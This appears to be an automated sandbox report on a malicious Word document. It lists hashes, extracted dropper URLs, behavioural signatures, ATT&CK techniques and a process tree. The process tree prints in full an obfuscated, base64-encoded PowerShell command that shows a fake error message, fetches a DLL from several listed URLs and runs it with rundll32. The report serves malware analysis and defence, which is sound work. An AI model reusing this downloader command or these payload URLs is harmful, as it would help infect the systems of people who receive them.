043eee7522492a5e9e3026f7afb191926db12ac96ee20475ebdc26eab2993095

General

Target

Arc-835.doc
Size

162KB
MD5

0fcd9569ef0690d4931268b090b913c1
SHA1

b7944313d64fd0f548c16a40da2fb485c376e359
SHA256

043eee7522492a5e9e3026f7afb191926db12ac96ee20475ebdc26eab2993095
SHA512

8338e42782c49c024f34b7fc2b2a6ea8f6094ca5cfd115af38ca4d7b9e2863f128b27370201fddd58901adbdf4c54a148cb2533780da1aa467cf9a7a9a10518e

Score

10^/10

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://www.mitraship.com/wp-content/ZKeB/

exe.dropper

http://djsrecord.com/wp-includes/abop/

exe.dropper

https://lastfrontierstrekking.com/new/2OaabFU/

exe.dropper

https://watchnshirt.com/y/L7z9YcA/

exe.dropper

https://www.impipower.com/wp-content/U/

exe.dropper

https://www.inkayniperutours.com/druver/LtcG/

exe.dropper

https://vysimopoulos.com/d/NF/

Signatures

Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3892 4360 cmd.exe
Blocklisted process makes network request 2 IoCs

Processes:

powershell.exerundll32.exe

flow pid process

14 3904 powershell.exe
29 2532 rundll32.exe
Loads dropped DLL 1 IoCs

Processes:

rundll32.exe

pid process

388 rundll32.exe
Drops file in System32 directory 1 IoCs

Processes:

rundll32.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\Uvbzzwuiip\pdcpvreua.ijz rundll32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3892	4360	cmd.exe

flow	pid	process
14	3904	powershell.exe
29	2532	rundll32.exe

pid	process
388	rundll32.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\Uvbzzwuiip\pdcpvreua.ijz	rundll32.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4764 WINWORD.EXE
4764 WINWORD.EXE
Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powershell.exerundll32.exe

pid process

3904 powershell.exe
3904 powershell.exe
3904 powershell.exe
2532 rundll32.exe
2532 rundll32.exe
2532 rundll32.exe
2532 rundll32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 3904 powershell.exe
Suspicious use of SetWindowsHookEx 7 IoCs

Processes:

WINWORD.EXE

pid process

4764 WINWORD.EXE
4764 WINWORD.EXE
4764 WINWORD.EXE
4764 WINWORD.EXE
4764 WINWORD.EXE
4764 WINWORD.EXE
4764 WINWORD.EXE

pid	process
4764	WINWORD.EXE
4764	WINWORD.EXE

pid	process
3904	powershell.exe
3904	powershell.exe
3904	powershell.exe
2532	rundll32.exe
2532	rundll32.exe
2532	rundll32.exe
2532	rundll32.exe

description	pid	process
Token: SeDebugPrivilege	3904	powershell.exe

pid	process
4764	WINWORD.EXE
4764	WINWORD.EXE
4764	WINWORD.EXE
4764	WINWORD.EXE
4764	WINWORD.EXE
4764	WINWORD.EXE
4764	WINWORD.EXE

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

cmd.exepowershell.exerundll32.exerundll32.exe

description	pid	process	target process
PID 3892 wrote to memory of 4248	3892	cmd.exe	msg.exe
PID 3892 wrote to memory of 4248	3892	cmd.exe	msg.exe
PID 3892 wrote to memory of 3904	3892	cmd.exe	powershell.exe
PID 3892 wrote to memory of 3904	3892	cmd.exe	powershell.exe
PID 3904 wrote to memory of 976	3904	powershell.exe	rundll32.exe
PID 3904 wrote to memory of 976	3904	powershell.exe	rundll32.exe
PID 976 wrote to memory of 388	976	rundll32.exe	rundll32.exe
PID 976 wrote to memory of 388	976	rundll32.exe	rundll32.exe
PID 976 wrote to memory of 388	976	rundll32.exe	rundll32.exe
PID 388 wrote to memory of 2532	388	rundll32.exe	rundll32.exe
PID 388 wrote to memory of 2532	388	rundll32.exe	rundll32.exe
PID 388 wrote to memory of 2532	388	rundll32.exe	rundll32.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Arc-835.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4764

C:\Windows\system32\cmd.exe
cmd cmd cmd cmd /c msg %username% /v Word experienced an error trying to open the file. & P^Ow^er^she^L^L -w hidden -ENCOD IAAgAFMARQB0ACAAKAAiAHgAawAiACsAIgBxAG0AIgApACAAKAAgACAAWwB0AFkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9AHsAMwB9ACIALQBGACcAWQAnACwAJwBzACcALAAnAFMAVABFAG0ALgBpAG8ALgAnACwAJwBkAEkAcgBFAGMAVABPAHIAWQAnACkAIAAgACkAOwAgACAAIAAgAFMAZQBUAC0AVgBhAHIASQBhAGIAbABFACAAIABFADMAagB2AEEATQAgACgAIABbAFQAWQBQAEUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewA1AH0AewAyAH0AewA0AH0AIgAgAC0ARgAnAEUAcABvAGkAbgBUACcALAAnAHMAeQBzAFQAZQBNAC4AbgBlAFQALgBTAEUAcgB2AGkAJwAsACcAZQAnACwAJwBDACcALAAnAFIAJwAsACcAbQBBAE4AYQBHACcAKQAgACkAIAAgADsAIAAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACgAKAAnAFMAaQAnACsAJwBsAGUAJwApACsAJwBuACcAKwAoACcAdABsAHkAQwAnACsAJwBvACcAKQArACcAbgB0ACcAKwAoACcAaQAnACsAJwBuAHUAJwApACsAJwBlACcAKQA7ACQAUQB6AGgAeABoADMAMAA9ACQASAAwADIAVgAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAUgA4ADYATwA7ACQAQwAxADkATwA9ACgAJwBaACcAKwAoACcAMAAnACsAJwBfAE8AJwApACkAOwAgACgAIAAgAEcARQB0AC0AVgBhAHIASQBBAEIATABlACAAIAAoACIAeABLACIAKwAiAFEATQAiACkAIAAtAFYAYQBMACkAOgA6ACIAQwBSAGAAZQBgAEEAVABgAGUARABJAFIAZQBDAHQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9ACcAKwAnAE4AeQBwADIAYgB2AGkAewAwAH0ATQA1ACcAKwAnAHIAZwAnACsAKAAnAHYANQAnACsAJwBuACcAKQArACcAewAwAH0AJwApACAAIAAtAEYAWwBjAEgAYQByAF0AOQAyACkAKQA7ACQASgA2ADIAUQA9ACgAJwBVACcAKwAoACcANwA0ACcAKwAnAFgAJwApACkAOwAgACgAIABHAGUAVAAtAFYAYQBSAGkAYQBCAEwARQAgAEUAMwBqAFYAYQBNACAAIAAtAHYAQQBsACAAKQA6ADoAIgBTAEUAYwB1AFIAaQBgAFQAYABZAHAAcgBgAG8AYABUAG8AQwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAxACcAKQArACcAMgAnACkAOwAkAFEAOQA0AFIAPQAoACgAJwBIADcAJwArACcAMgAnACkAKwAnAE4AJwApADsAJABGAGkAbwBjAGQAbgBhACAAPQAgACgAKAAnAFoAJwArACcAXwAzACcAKQArACcAVgAnACkAOwAkAEUAMABfAFAAPQAoACgAJwBIACcAKwAnADcAMwAnACkAKwAnAEgAJwApADsAJABVADUAdQBjADIANABqAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACcATgB5AHAAMgBiAHYAaQB7ADAAfQBNADUAcgBnACcAKwAnAHYANQAnACsAJwBuACcAKwAnAHsAMAB9ACcAKQAtAGYAIABbAEMAaABhAFIAXQA5ADIAKQArACQARgBpAG8AYwBkAG4AYQArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQAVAA5ADYAVgA9ACgAKAAnAEMANQAnACsAJwA3ACcAKQArACcAUwAnACkAOwAkAEkAdQBjAG0AZABxADIAPQAoACcAdwAnACsAKAAnAF0AeABtAFsAdgA6ACcAKwAnAC8AJwArACcALwAnACkAKwAoACcAdwAnACsAJwB3AHcAJwApACsAKAAnAC4AbQAnACsAJwBpAHQAJwArACcAcgAnACsAJwBhAHMAaABpAHAALgBjACcAKQArACgAJwBvAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AdAAvAFoASwBlAEIAJwArACcALwAnACkAKwAnAEAAJwArACgAJwB3AF0AJwArACcAeAAnACkAKwAoACcAbQBbAHYAOgAvAC8AJwArACcAZAAnACsAJwBqAHMAcgAnACkAKwAoACcAZQBjACcAKwAnAG8AcgAnACkAKwAoACcAZAAuAGMAJwArACcAbwBtACcAKwAnAC8AdwBwACcAKwAnAC0AaQBuAGMAbAB1ACcAKQArACgAJwBkAGUAJwArACcAcwAnACkAKwAoACcALwBhAGIAJwArACcAbwBwAC8AJwApACsAJwBAAHcAJwArACgAJwBdAHgAJwArACcAbQBbAHYAJwApACsAJwBzACcAKwAoACcAOgAnACsAJwAvAC8AbAAnACkAKwAoACcAYQBzACcAKwAnAHQAZgAnACsAJwByAG8AbgAnACkAKwAoACcAdABpAGUAJwArACcAcgAnACkAKwAnAHMAJwArACgAJwB0AHIAJwArACcAZQBrAGsAJwApACsAKAAnAGkAbgAnACsAJwBnACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvACcAKwAnAG4AZQB3AC8AMgBPAGEAJwArACcAYQAnACkAKwAoACcAYgBGAFUAJwArACcALwBAAHcAXQB4ACcAKQArACgAJwBtAFsAdgBzADoALwAvAHcAYQB0AGMAJwArACcAaABuAHMAJwArACcAaABpACcAKwAnAHIAJwArACcAdAAuAGMAbwBtAC8AeQAnACsAJwAvACcAKwAnAEwANwB6ADkAWQBjACcAKwAnAEEALwBAACcAKwAnAHcAXQB4ACcAKwAnAG0AJwApACsAKAAnAFsAdgAnACsAJwBzADoALwAnACkAKwAnAC8AdwAnACsAKAAnAHcAdwAnACsAJwAuAGkAJwApACsAKAAnAG0AcAAnACsAJwBpAHAAJwArACcAbwAnACsAJwB3ACcAKwAnAGUAcgAuAGMAbwBtAC8AdwBwAC0AJwApACsAJwBjACcAKwAnAG8AJwArACgAJwBuAHQAZQBuAHQAJwArACcALwBVACcAKQArACcALwBAACcAKwAoACcAdwBdAHgAbQBbAHYAJwArACcAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAdwB3AHcALgAnACsAJwBpACcAKQArACcAbgAnACsAKAAnAGsAJwArACcAYQB5AG4AaQAnACkAKwAoACcAcABlAHIAdQB0ACcAKwAnAG8AJwArACcAdQByAHMALgBjAG8AJwArACcAbQAvAGQAJwApACsAKAAnAHIAJwArACcAdQB2AGUAJwArACcAcgAvACcAKwAnAEwAdABjAEcAJwApACsAKAAnAC8AQAB3ACcAKwAnAF0AeAAnACsAJwBtAFsAJwApACsAKAAnAHYAJwArACcAcwA6ACcAKQArACgAJwAvAC8AdgB5ACcAKwAnAHMAaQAnACkAKwAoACcAbQBvAHAAJwArACcAbwB1AGwAJwArACcAbwBzAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AZAAvAE4AJwArACcARgAvACcAKQApAC4AIgBSAGAAZQBQAEwAYABBAEMAZQAiACgAKAAnAHcAXQAnACsAKAAnAHgAbQAnACsAJwBbACcAKQArACcAdgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAFAAYABsAEkAdAAiACgAJABIADkAMgBHACAAKwAgACQAUQB6AGgAeABoADMAMAAgACsAIAAkAEoAOQA1AFMAKQA7ACQATAA0ADQARQA9ACgAJwBZADgAJwArACcAOABLACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVwB1AHEAMgAyAF8AaAAgAGkAbgAgACQASQB1AGMAbQBkAHEAMgApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3ACcAKwAnAC0ATwBiAGoAZQBjACcAKwAnAHQAJwApACAAUwBZAHMAdABFAG0ALgBuAGUAVAAuAHcARQBCAGMATABpAGUAbgBUACkALgAiAGQATwB3AE4AbABgAG8AYABBAGQARgBgAGkAbABlACIAKAAkAFcAdQBxADIAMgBfAGgALAAgACQAVQA1AHUAYwAyADQAagApADsAJABBADcAMQBOAD0AKAAoACcATwAnACsAJwAyADQAJwApACsAJwBGACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACAAJABVADUAdQBjADIANABqACkALgAiAEwARQBOAGAAZwB0AGgAIgAgAC0AZwBlACAANAA1ADEANAA5ACkAIAB7AC4AKAAnAHIAdQBuAGQAbAAnACsAJwBsADMAMgAnACkAIAAkAFUANQB1AGMAMgA0AGoALAAoACgAJwBTAGgAbwAnACsAJwB3ACcAKQArACgAJwBEAGkAJwArACcAYQAnACkAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAVABPAGAAUwB0AHIAaQBOAEcAIgAoACkAOwAkAEkANgAzAEUAPQAoACgAJwBTACcAKwAnADgAOAAnACkAKwAnAEMAJwApADsAYgByAGUAYQBrADsAJABFADcAMgBTAD0AKAAnAEsANAAnACsAJwBfAEkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTADMAMwBPAD0AKAAoACcAVAAnACsAJwA3ADgAJwApACsAJwBKACcAKQA=
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3892

C:\Windows\system32\msg.exe
msg Admin /v Word experienced an error trying to open the file.
2⤵
PID:4248

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
POwersheLL -w hidden -ENCOD IAAgAFMARQB0ACAAKAAiAHgAawAiACsAIgBxAG0AIgApACAAKAAgACAAWwB0AFkAUABlAF0AKAAiAHsAMQB9AHsAMAB9AHsAMgB9AHsAMwB9ACIALQBGACcAWQAnACwAJwBzACcALAAnAFMAVABFAG0ALgBpAG8ALgAnACwAJwBkAEkAcgBFAGMAVABPAHIAWQAnACkAIAAgACkAOwAgACAAIAAgAFMAZQBUAC0AVgBhAHIASQBhAGIAbABFACAAIABFADMAagB2AEEATQAgACgAIABbAFQAWQBQAEUAXQAoACIAewAxAH0AewAzAH0AewAwAH0AewA1AH0AewAyAH0AewA0AH0AIgAgAC0ARgAnAEUAcABvAGkAbgBUACcALAAnAHMAeQBzAFQAZQBNAC4AbgBlAFQALgBTAEUAcgB2AGkAJwAsACcAZQAnACwAJwBDACcALAAnAFIAJwAsACcAbQBBAE4AYQBHACcAKQAgACkAIAAgADsAIAAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACgAKAAnAFMAaQAnACsAJwBsAGUAJwApACsAJwBuACcAKwAoACcAdABsAHkAQwAnACsAJwBvACcAKQArACcAbgB0ACcAKwAoACcAaQAnACsAJwBuAHUAJwApACsAJwBlACcAKQA7ACQAUQB6AGgAeABoADMAMAA9ACQASAAwADIAVgAgACsAIABbAGMAaABhAHIAXQAoADYANAApACAAKwAgACQAUgA4ADYATwA7ACQAQwAxADkATwA9ACgAJwBaACcAKwAoACcAMAAnACsAJwBfAE8AJwApACkAOwAgACgAIAAgAEcARQB0AC0AVgBhAHIASQBBAEIATABlACAAIAAoACIAeABLACIAKwAiAFEATQAiACkAIAAtAFYAYQBMACkAOgA6ACIAQwBSAGAAZQBgAEEAVABgAGUARABJAFIAZQBDAHQAYABvAHIAeQAiACgAJABIAE8ATQBFACAAKwAgACgAKAAnAHsAMAB9ACcAKwAnAE4AeQBwADIAYgB2AGkAewAwAH0ATQA1ACcAKwAnAHIAZwAnACsAKAAnAHYANQAnACsAJwBuACcAKQArACcAewAwAH0AJwApACAAIAAtAEYAWwBjAEgAYQByAF0AOQAyACkAKQA7ACQASgA2ADIAUQA9ACgAJwBVACcAKwAoACcANwA0ACcAKwAnAFgAJwApACkAOwAgACgAIABHAGUAVAAtAFYAYQBSAGkAYQBCAEwARQAgAEUAMwBqAFYAYQBNACAAIAAtAHYAQQBsACAAKQA6ADoAIgBTAEUAYwB1AFIAaQBgAFQAYABZAHAAcgBgAG8AYABUAG8AQwBPAEwAIgAgAD0AIAAoACgAJwBUACcAKwAnAGwAcwAxACcAKQArACcAMgAnACkAOwAkAFEAOQA0AFIAPQAoACgAJwBIADcAJwArACcAMgAnACkAKwAnAE4AJwApADsAJABGAGkAbwBjAGQAbgBhACAAPQAgACgAKAAnAFoAJwArACcAXwAzACcAKQArACcAVgAnACkAOwAkAEUAMABfAFAAPQAoACgAJwBIACcAKwAnADcAMwAnACkAKwAnAEgAJwApADsAJABVADUAdQBjADIANABqAD0AJABIAE8ATQBFACsAKAAoACcAewAwAH0AJwArACcATgB5AHAAMgBiAHYAaQB7ADAAfQBNADUAcgBnACcAKwAnAHYANQAnACsAJwBuACcAKwAnAHsAMAB9ACcAKQAtAGYAIABbAEMAaABhAFIAXQA5ADIAKQArACQARgBpAG8AYwBkAG4AYQArACgAJwAuAGQAJwArACcAbABsACcAKQA7ACQAVAA5ADYAVgA9ACgAKAAnAEMANQAnACsAJwA3ACcAKQArACcAUwAnACkAOwAkAEkAdQBjAG0AZABxADIAPQAoACcAdwAnACsAKAAnAF0AeABtAFsAdgA6ACcAKwAnAC8AJwArACcALwAnACkAKwAoACcAdwAnACsAJwB3AHcAJwApACsAKAAnAC4AbQAnACsAJwBpAHQAJwArACcAcgAnACsAJwBhAHMAaABpAHAALgBjACcAKQArACgAJwBvAG0ALwAnACsAJwB3ACcAKQArACgAJwBwACcAKwAnAC0AYwBvACcAKwAnAG4AdAAnACsAJwBlAG4AdAAvAFoASwBlAEIAJwArACcALwAnACkAKwAnAEAAJwArACgAJwB3AF0AJwArACcAeAAnACkAKwAoACcAbQBbAHYAOgAvAC8AJwArACcAZAAnACsAJwBqAHMAcgAnACkAKwAoACcAZQBjACcAKwAnAG8AcgAnACkAKwAoACcAZAAuAGMAJwArACcAbwBtACcAKwAnAC8AdwBwACcAKwAnAC0AaQBuAGMAbAB1ACcAKQArACgAJwBkAGUAJwArACcAcwAnACkAKwAoACcALwBhAGIAJwArACcAbwBwAC8AJwApACsAJwBAAHcAJwArACgAJwBdAHgAJwArACcAbQBbAHYAJwApACsAJwBzACcAKwAoACcAOgAnACsAJwAvAC8AbAAnACkAKwAoACcAYQBzACcAKwAnAHQAZgAnACsAJwByAG8AbgAnACkAKwAoACcAdABpAGUAJwArACcAcgAnACkAKwAnAHMAJwArACgAJwB0AHIAJwArACcAZQBrAGsAJwApACsAKAAnAGkAbgAnACsAJwBnACcAKQArACgAJwAuAGMAJwArACcAbwBtACcAKQArACgAJwAvACcAKwAnAG4AZQB3AC8AMgBPAGEAJwArACcAYQAnACkAKwAoACcAYgBGAFUAJwArACcALwBAAHcAXQB4ACcAKQArACgAJwBtAFsAdgBzADoALwAvAHcAYQB0AGMAJwArACcAaABuAHMAJwArACcAaABpACcAKwAnAHIAJwArACcAdAAuAGMAbwBtAC8AeQAnACsAJwAvACcAKwAnAEwANwB6ADkAWQBjACcAKwAnAEEALwBAACcAKwAnAHcAXQB4ACcAKwAnAG0AJwApACsAKAAnAFsAdgAnACsAJwBzADoALwAnACkAKwAnAC8AdwAnACsAKAAnAHcAdwAnACsAJwAuAGkAJwApACsAKAAnAG0AcAAnACsAJwBpAHAAJwArACcAbwAnACsAJwB3ACcAKwAnAGUAcgAuAGMAbwBtAC8AdwBwAC0AJwApACsAJwBjACcAKwAnAG8AJwArACgAJwBuAHQAZQBuAHQAJwArACcALwBVACcAKQArACcALwBAACcAKwAoACcAdwBdAHgAbQBbAHYAJwArACcAcwA6ACcAKwAnAC8AJwApACsAKAAnAC8AJwArACcAdwB3AHcALgAnACsAJwBpACcAKQArACcAbgAnACsAKAAnAGsAJwArACcAYQB5AG4AaQAnACkAKwAoACcAcABlAHIAdQB0ACcAKwAnAG8AJwArACcAdQByAHMALgBjAG8AJwArACcAbQAvAGQAJwApACsAKAAnAHIAJwArACcAdQB2AGUAJwArACcAcgAvACcAKwAnAEwAdABjAEcAJwApACsAKAAnAC8AQAB3ACcAKwAnAF0AeAAnACsAJwBtAFsAJwApACsAKAAnAHYAJwArACcAcwA6ACcAKQArACgAJwAvAC8AdgB5ACcAKwAnAHMAaQAnACkAKwAoACcAbQBvAHAAJwArACcAbwB1AGwAJwArACcAbwBzAC4AYwAnACkAKwAoACcAbwBtACcAKwAnAC8AZAAvAE4AJwArACcARgAvACcAKQApAC4AIgBSAGAAZQBQAEwAYABBAEMAZQAiACgAKAAnAHcAXQAnACsAKAAnAHgAbQAnACsAJwBbACcAKQArACcAdgAnACkALAAoAFsAYQByAHIAYQB5AF0AKAAnAHMAZAAnACwAJwBzAHcAJwApACwAKAAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwACcAKQAsACcAMwBkACcAKQBbADEAXQApAC4AIgBTAFAAYABsAEkAdAAiACgAJABIADkAMgBHACAAKwAgACQAUQB6AGgAeABoADMAMAAgACsAIAAkAEoAOQA1AFMAKQA7ACQATAA0ADQARQA9ACgAJwBZADgAJwArACcAOABLACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQAVwB1AHEAMgAyAF8AaAAgAGkAbgAgACQASQB1AGMAbQBkAHEAMgApAHsAdAByAHkAewAoACYAKAAnAE4AZQB3ACcAKwAnAC0ATwBiAGoAZQBjACcAKwAnAHQAJwApACAAUwBZAHMAdABFAG0ALgBuAGUAVAAuAHcARQBCAGMATABpAGUAbgBUACkALgAiAGQATwB3AE4AbABgAG8AYABBAGQARgBgAGkAbABlACIAKAAkAFcAdQBxADIAMgBfAGgALAAgACQAVQA1AHUAYwAyADQAagApADsAJABBADcAMQBOAD0AKAAoACcATwAnACsAJwAyADQAJwApACsAJwBGACcAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAdAAtACcAKwAnAEkAdAAnACsAJwBlAG0AJwApACAAJABVADUAdQBjADIANABqACkALgAiAEwARQBOAGAAZwB0AGgAIgAgAC0AZwBlACAANAA1ADEANAA5ACkAIAB7AC4AKAAnAHIAdQBuAGQAbAAnACsAJwBsADMAMgAnACkAIAAkAFUANQB1AGMAMgA0AGoALAAoACgAJwBTAGgAbwAnACsAJwB3ACcAKQArACgAJwBEAGkAJwArACcAYQAnACkAKwAoACcAbABvACcAKwAnAGcAQQAnACkAKQAuACIAVABPAGAAUwB0AHIAaQBOAEcAIgAoACkAOwAkAEkANgAzAEUAPQAoACgAJwBTACcAKwAnADgAOAAnACkAKwAnAEMAJwApADsAYgByAGUAYQBrADsAJABFADcAMgBTAD0AKAAnAEsANAAnACsAJwBfAEkAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABTADMAMwBPAD0AKAAoACcAVAAnACsAJwA3ADgAJwApACsAJwBKACcAKQA=
2⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3904

C:\Windows\system32\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll,ShowDialogA
3⤵
- Suspicious use of WriteProcessMemory
PID:976

C:\Windows\SysWOW64\rundll32.exe
"C:\Windows\system32\rundll32.exe" C:\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll,ShowDialogA
4⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
PID:388

C:\Windows\SysWOW64\rundll32.exe
C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Uvbzzwuiip\pdcpvreua.ijz",ShowDialogA
5⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:2532

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll
MD5
43f85170b4c974b94c108465ff52ba20

SHA1
c1ef0c373c396000f8ef76a0f619b3872c30b4fc

SHA256
461bfeb6067704d94e746a0e8e3b965410e9f89e0bc39d331460acf5d05e491f

SHA512
610650e4891a94232136852041e52939e8e8aad2db0b4450321b8dae508c827ce24530d4e54702222a8cdca879abf1677eb42e15f4066babc2a9741e2be11cca

Download Submit
\Users\Admin\Nyp2bvi\M5rgv5n\Z_3V.dll
MD5
43f85170b4c974b94c108465ff52ba20

SHA1
c1ef0c373c396000f8ef76a0f619b3872c30b4fc

SHA256
461bfeb6067704d94e746a0e8e3b965410e9f89e0bc39d331460acf5d05e491f

SHA512
610650e4891a94232136852041e52939e8e8aad2db0b4450321b8dae508c827ce24530d4e54702222a8cdca879abf1677eb42e15f4066babc2a9741e2be11cca

Download Submit
memory/388-10-0x0000000000000000-mapping.dmp

Download
memory/976-8-0x0000000000000000-mapping.dmp

Download
memory/2532-12-0x0000000000000000-mapping.dmp

Download
memory/3904-4-0x0000000000000000-mapping.dmp

Download
memory/3904-5-0x00007FF934070000-0x00007FF934A5C000-memory.dmp

Filesize
9.9MB

Download
memory/3904-6-0x000001E63A050000-0x000001E63A051000-memory.dmp

Filesize
4KB

Download
memory/3904-7-0x000001E63A200000-0x000001E63A201000-memory.dmp

Filesize
4KB

Download
memory/4248-3-0x0000000000000000-mapping.dmp

Download
memory/4764-2-0x00007FF942070000-0x00007FF9426A7000-memory.dmp

Filesize
6.2MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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Downloads